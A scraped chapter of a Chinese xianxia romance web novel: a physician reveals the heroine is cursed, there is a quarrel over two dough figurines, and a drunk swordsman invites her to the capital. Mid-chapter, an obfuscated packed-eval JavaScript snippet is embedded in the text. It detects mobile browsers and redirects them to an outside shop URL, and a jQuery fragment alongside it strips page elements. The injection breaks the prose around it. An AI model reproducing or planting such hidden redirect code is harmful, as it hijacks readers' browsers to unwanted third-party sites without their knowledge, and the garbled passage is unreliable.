18. 第 18 章
    或许是快到了龟祭的时候,夜间的陈氏山庄也不像往日般寂静,时不时便有人声脚步声,温不戒细细为封澄把脉,沉吟片刻,道:“一个好消息,一个坏消息。”

    封澄注意到赵负雪的注意力登时转移了过来,沉吟片刻,封澄道:“先说好消息?”

    温不戒笑着瞥了赵负雪一眼:“我治病救人之时,从不许第三人在场。”

    此言一出,便像是在隐隐要爆发的火山之上又凭空添了一把干柴,果然,赵负雪脸色一沉,封澄以为他要提剑了,不料赵负雪深深地看了她一眼,便冷哼一声,走路带风地去了外间。

    封澄心有余悸:“我刚才手都伸到桌子下了,就等着他动手,我便掀桌。”

    温不戒道:“天下最不能得罪的便是医者,赵公子是聪明人,也是有心人。”

    有心人?

    不待封澄再问,温不戒便一转话头,脸上的笑意一扫而空,取而代之的是封澄从未在温不戒脸上见到过的凝重:“先说坏消息。”

    “这东西不是毒,是咒。”

    咒与毒的区别,封澄还是知道的,毒,有解药便可解,但咒,除非找到施咒之人,否则难以解除。

    说来此时也是她意料之中的事情了,血修骨肉特殊,等闲毒物皆无法在她身上发挥作用,能将她逼成如此地步的,是咒,便能解释了。

    只是施咒条件着实特殊,且伤人伤己,消耗极大,她在十九年前人生地不熟,是谁往她身上施了一个咒呢?

    封澄无奈地点了点头:“还有一个好消息呢?”

    温不戒放下手,温和道:“施咒之人手法精湛,这咒又稳又准又狠,乃我平生前所未见之漂亮,所以姑娘会走得比较安详,不会有太多痛苦。”

    封澄:“……”

    +

    封澄木着脸收回了手:“我长这么大,还从未听过这么好的消息。”

    根本就是坏消息买一送一,还不许讨价还价的。

    温不戒道:“我倒是能为姑娘拖上些时日,只是姑娘莫要再向魔物堆里扎了,说到底,能活多久,还是看姑娘自己的造化。”

    能拖便拖吧,封澄点了点头:“多谢侠医出手相助。”

    外面的赵负雪听到屋中话音渐消,心中隐隐升起两份焦躁来,陡然间,屋内传来温不戒过分清晰的声音:“诊察已毕,赵公子可以进来了。”

    赵负雪进入内室时,敏锐地察觉到室内的气氛似乎怪怪的,封澄的神情似乎有些轻松,倒是温不戒,看着倒是心有戚戚然。

    他心下蓦地一紧,声音中带着几分他都未察觉到的焦急:“怎么样?”

    封澄笑眯眯地招招手:“我能有什么大事?不过是血修反噬,这都是常事嘛,你说是不是,温公子?”

    温不戒端着茶杯,眼观鼻鼻观心地嗯了一声。

    赵负雪松了一口气,回过神来,便对着封澄鼻子恨铁不成钢:“血道逆天而行,得善终者百中无一,你符道精湛,剑术了得,为何偏生选了血道?”

    封澄笑了笑,没回应。

    他坐下,非常自然地给自己倒了一杯红彤彤的甜水:“待你伤好了,便随我回京城,天机院能人辈出,定然能助你脱离血道。”

    温不戒忽然道:“那是什么?”

    封赵二人循着他的目光看去,他看着的,是两个泥捏的小人。

    捏小人的师傅想必是手法有些粗糙的,捏的小人鼻子不是鼻子,眼睛不是眼睛,一个是个姑娘模样,笑眯眯的,另一个便诡异了,身子仿佛一团面条,脸上倒是传神得很,一副气鼓鼓的模样,腰上那把佩剑倒是捏得颇为像样。能看出是一把雪白佩剑。

    雪白佩剑?

    赵负雪一怔。

    人在尴尬的时候总会格外忙,封澄尴尬地咬着茶杯边,杯中早已没有了茶水:“这……这是两个小面人,我捏的。”

    这俩小面人,是她将赵负雪气走之后,打算捏来哄一下大少爷的。

    只是封大侠文能上金銮,武能镇长煌,偏生对一小团的软面毫无办法,她捏自个儿试手那个倒还顺遂,捏起赵负雪那个来,简直像是猴子捏绣花针,笨得堪称惊世骇俗,捏面人的师傅耐心,她学得满头大汗,仍旧是捏得笨拙。

    面人师傅最终无奈了:“你只想着,这面中原本就有一个人,你捏出来,便能见到他了。”

    也不知是不是这句话的作用,封澄捏得顺手了许多,到最后,终于捏得像样了。

    她珍重地端详着气鼓鼓的小面人,有些意外。

    不知何时,她想到的赵负雪,已不是那副冰冷且目下无尘的模样了。

    温不戒道:“我见那面人小姑娘有些憨态可掬,不知姑娘能否割爱与我?”

    不知温侠医这对火眼金睛,是如何从面目不清的面人上看出憨态可掬四个大字的,封澄连忙摆手,还未斟酌好拒绝之词,便听到一旁的赵负雪冷声道:“不许。”

    封澄一愣。

    温不戒微笑道:“我向封姑娘讨要,关你何事。”

    赵负雪站起身来,半个身子越过茶桌,径直盯着温不戒双眼,一字一顿道:“你看不出来吗?那是我的东西。”

    温不戒哦了一声:“我并未要那个丑的。”

    封澄:“……”

    赵负雪磨了磨牙,显然是听明白了温不戒的言外之意,他指了指两个因为保管不利而黏得难舍难分的面人,郑重无比:“那两个,是一对,不能拆。”

    封澄:“……”

    她一脑门汗地把半个身子越过去的赵负雪强行按回去:“他今夜喝多了,侠医莫要怪罪。”

    温不戒的笑意如春风拂面:“我岂会和一个醉鬼计较。”

    顿了顿,他又道:“姑娘可愿将那小面人赠于我?”

    于情来说,温不戒的讨要并不过分,一个小小面人,又不是她半条小命,没有什么不能给的;于理来说,温不戒救了她的小命,把她从宝华楼之鬼门关前拉了回来,还为她开药以延缓病情,他既然开了口,封澄便理应去给。

    可封澄认真道:“温公子,明日我做个精致又好看的,送到你门前,好不好?”

    温不戒歪了歪头:“这个不好吗?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281339|138974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    封澄一笑:“不是不好,只是这两个面人黏成一团,若是分开了,倒毁得没意思了。”

    赵负雪被她按着,闻言,转过头,怔然看向她。

    封澄道:“温公子救命之恩,封澄没齿难忘,但凡公子开口,封澄万死不辞。”

    温不戒从容站起身来,失笑道:“我要姑娘万死做什么?夜已深了,我也该告辞了。”

    封澄飞快地扯过一旁的灯笼,道:“我来送你。”

    待封澄将温不戒送回了他的居所,一推门,却发现赵负雪还在屋中,她合上门,挑眉道:“赵公子还在这里,不怕妖女动手动脚,坏了你清白吗?”

    他不知何时,已将封澄买回来的那一堆破烂一个一个地、齐齐整整地摆好了。

    封澄从前从未见过赵负雪喝醉,她有些好笑地走到赵负雪的身边,看见赵负雪神情专注,一双浅淡寡情的眼睛深深地注视着两个黏糊糊的面人。

    这个时候的赵负雪似乎格外有趣好欺一些,封澄玩弄之心大起,凑过去道:“捏得好不好?”

    赵负雪垂眸看她:“烂极了,怎么捏得这么丑。”

    说着,他又指指那纸做的风车:“这个也丑,我从未见过配色如此诡异的风车。”

    指指糖人:“都化了,淋了我一手的糖。”

    又指指那叠起来的黄宣纸:“嚼起来像蜡。”

    封澄一看,大惊失色:“你吃了什么东西?!”

    赵负雪:“糯米糖。”

    这是个屁的糯米糖,京城的糯米糖到底长什么样,封澄两眼一黑,一时不知是赵负雪醉得糊涂,还是这黄宣纸长得清奇,她一把将人向室外捉去:“赵负雪,我若是将你今日干的事情往外一抖,你前半辈子辛苦端出来的架子就全毁了,全毁了你知道吗!”

    赵负雪静静地看着她道:“你要带我去哪儿?”

    封澄没好气:“带去温不戒那里。他还没睡,看看能不能将你这满腹经纶掏出来。”

    他忽然定住了。

    封澄回头:“?”

    他的脸上是分明的不乐意:“伪君子,真小人,和他有什么好说的,不去。”

    封澄眯眼看他,琢磨着用什么姿势将他扛下去。

    赵负雪忽然道:“这些东西,都不如京城好。”

    他忽然变得很耐心,封澄几乎能从他的话里听出几分谆谆善诱的味道,他挣脱封澄,就地一坐——这是清醒时的赵负雪绝对不会坐的地方——他坐在了封澄的脚边。

    “京城,天机院外,有一整条的街,”赵负雪闷闷道,“你想吃什么糖水,就有什么糖水,想要什么糖人,就有什么糖人,厨子的花样从月初到月末,都不会重样子,天机院里,有当世最称职的修士大能。”

    封澄含笑着看他:“我知道的。”

    赵负雪固执道:“不,你不知道,在天机院,不会有人因为你从前是血修对你另眼相待,你可以从头走起,不必走这条不得善终的死路。”

    他抬起头,看向封澄,目光中是她从未见过的直白与赤诚:“你愿不愿意……?”